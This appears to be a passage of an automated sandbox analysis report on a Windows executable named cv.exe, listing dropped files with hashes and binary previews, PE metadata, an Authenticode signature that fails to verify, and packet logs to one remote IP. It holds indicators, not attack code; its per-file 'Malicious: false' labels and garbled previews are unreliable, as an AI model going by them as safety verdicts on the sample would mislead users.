Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4692a619-8978-4e73-8242-b3f19711d971.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a35c9266-862d-416d-b769-93df89a46570.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ae128af8-238b-41d5-afcc-178f3260f1b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cf4d46e4-7261-4d0f-b765-a76c896a389f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\Documents\OUCH_SOKHENG.pdf

Download File

Process:	C:\Users\user\Desktop\cv.exe
File Type:	PDF document, version 1.5, 2 pages
Category:	dropped
Size (bytes):	352153
Entropy (8bit):	7.987392790928902
Encrypted:	false
SSDEEP:	6144:QmYn+v7HTxC1iY2JxiwZPaSkq1zeViHJ1cofqGL5jSfFLrSs/DKvOz:Rg+v7AQY2JxiGPaSt1KViHJ1cofpstfd
MD5:	A1F5622DDD5E328E8873DBBCF9203F6D
SHA1:	6A58637823B264D8858B91C8F0A5C501E0F70EFB
SHA-256:	A1E96ED0D011F7731B7DABCDDF559A19DD1B3C7C453122D44F8477CF21507E7B
SHA-512:	A7675EE6D4F5028763F497323F56230C7B1CFCEEFC54461514FA1BC347667B49AB92D65857FA281A33C94D68D5C05913F282D68A60DB6597C7F7612DDDDCD945
Malicious:	false
Preview:	%PDF-1.5.%.....9 0 obj.<<./Filter /FlateDecode./Length 158892./Length1 361412.>>.stream.x...\|SU...}/I.,m.M.M..i.n.....h-[i.)kKY.T.........\......4 .AE.eFQg.q....E....M~....?....\|~9....s.s.w_....D...+.jG.o....,4..T.W6^......I....U....P`m........\h.a..@..9nl.l........[F68.O.....W..w.m..o.b...Sl..uNK..u)O.8...,j.l.....Q.eX...Y....Y9.MI.....2..b....v..ge..}...{....6.e..m7b..czQ..4{....tHm..`....(...`..f.$;+.5`..?...s[[.}tM+0X..?aN.v....{.....\...=.cq<...KZ....\|..X.>.......x.....<........0.`V1:...VX#....0-l......{?_...!..z..A...q.7.. .r...;..r....RM.$<.[.`.h..D,...4.....e .......7....D..:<!@0.aA.(....0dy.C..Xm..{t...F..W..Aw.f#0/O...C.H!R..........?SdKa.l..=[.\.k...ON.......6u.y!........^V..../.q?....zdW....le.o@}Z.%......Av.......T~$(...2.J\|.&.5.F.S.D\wz.'...g......^W_y9...?{YE....x.4.[..9m.........\.8k..A.Z...5..l....g.{.....M..A.o...z...W..}.o.....E...gi@.......a...G......}.o..X.[../..`...._.X....#0...f..)...>\....*.....}.B.\....#. n.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.113337422939678
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cv.exe
File size:	1'710'152 bytes
MD5:	19fe59da84e322469ed35704ad2cfb87
SHA1:	6d7d800e2c0f455ad7ed39ead3a812562e97c3fc
SHA256:	abf89117cd0e2e9c5606b42f5bbc019ade9646300e7c621ccc7d15f2e3ce03ee
SHA512:	11e3b40b9233380e15c1b39feae995e7344f26f48d3b306a4fa3ca0159fe9ab45636abddd1966005ad93736697649bde6d3960b6daa9b3945c4590f3de7c0af6
SSDEEP:	24576:jZ8ghl4h2ClfoNxfHyHXyRGGp/rTNqaW6RpE0m9s8K:jZ8gPzChmxfHyHilp/rxHzRPys8
TLSH:	8185F14973E49648F9BB2739687409065F72FC17A832E24D2289A4AF3D33B429D15F73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......J.........."...P......T........... ........@.. .......................@............`................................

File Icon


Icon Hash:	357561d6dad24d55

Static PE Info

General

Entrypoint:	0x58b0be
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4A93C5E0 [Tue Aug 25 11:07:12 2009 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	17/02/2022 19:00:00 17/02/2025 18:59:59
Subject Chain	CN=Tim Kosse, O=Tim Kosse, S=Nordrhein-Westfalen, C=DE
Version:	3
Thumbprint MD5:	D2F88AEA5C53DD7092E3CD7246907BE2
Thumbprint SHA-1:	E57CE01F6A5E1D4C522BC68488AF53D9BAD13AB7
Thumbprint SHA-256:	ED619A9A79713E12FFB757CF8A51BBA89FBB967EC6223C653F1F8932B0E2A25A
Serial:	31830C370AD7E497633B6EB3A02D69E6

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18b06c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18c000	0x151e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x19e800	0x3048
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1a2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1890c4	0x189200	3932a6a48565660f20b39a7772b913bf	False	0.6274039894674086	data	6.088400089083817	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x18c000	0x151e4	0x15200	962a14bafcd48d815799953244326ef6	False	0.40937037721893493	data	5.673698171671048	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1a2000	0xc	0x200	10941d653b2a7df0bb28f1ebd2e07a56	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x18c358	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256			0.3432080924855491
RT_ICON	0x18c8c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024			0.3993682310469314
RT_ICON	0x18d168	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304			0.34808102345415776
RT_ICON	0x18e010	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.1892116182572614
RT_ICON	0x1905b8	0x485d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.000863697705803
RT_ICON	0x194e18	0x18de	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9696826892868363
RT_ICON	0x1966f8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.08974964572508266
RT_ICON	0x19a920	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.12935684647302906
RT_ICON	0x19cec8	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720			0.16553254437869822
RT_ICON	0x19e930	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.21106941838649157
RT_ICON	0x19f9d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.29508196721311475
RT_ICON	0x1a0360	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680			0.33313953488372094
RT_ICON	0x1a0a18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.4592198581560284
RT_GROUP_ICON	0x1a0e80	0x76	data			0.7457627118644068
RT_GROUP_ICON	0x1a0ef8	0x4c	data			0.8157894736842105
RT_VERSION	0x1a0f44	0x2a0	data	English	United States	0.47470238095238093

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:27:24.505589008 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:24.505634069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:24.505695105 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:24.516784906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:24.516807079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:25.895852089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:25.895934105 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:25.920618057 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:25.920641899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:25.921040058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:25.962668896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:25.999154091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.039339066 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.404355049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.404377937 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.404433012 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.404447079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.404608965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.412503004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.412579060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.429287910 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.429344893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.524358988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.524466038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.600425959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.600491047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.617142916 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.617208958 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.625685930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.625751019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.642278910 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.642349958 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.658998013 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.659068108 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.667490959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.667551994 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.678622961 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.678678989 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.716767073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.716828108 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.789730072 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.789824009 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.799706936 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.799781084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.804826021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.804891109 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.814208984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.814256907 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.822660923 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.822714090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.826997042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.827047110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.835603952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.835652113 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.844713926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.844764948 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.848500967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.848558903 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.854523897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.854578018 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.860408068 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.860466003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.866588116 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.866637945 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.869680882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.869735003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.875519037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.875577927 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.908102989 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.908164978 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.980756998 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.980814934 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.984692097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.984747887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.989975929 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.990035057 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.992593050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.992634058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:26.997562885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:26.997617006 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.002474070 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.002531052 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.004672050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.004733086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.009097099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.009152889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.013647079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.013699055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.015989065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.016040087 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.020581007 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.020637035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.024904966 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.024957895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.027262926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.027309895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.031928062 CET	443	49712	91.134.10.168	192.168.2.10
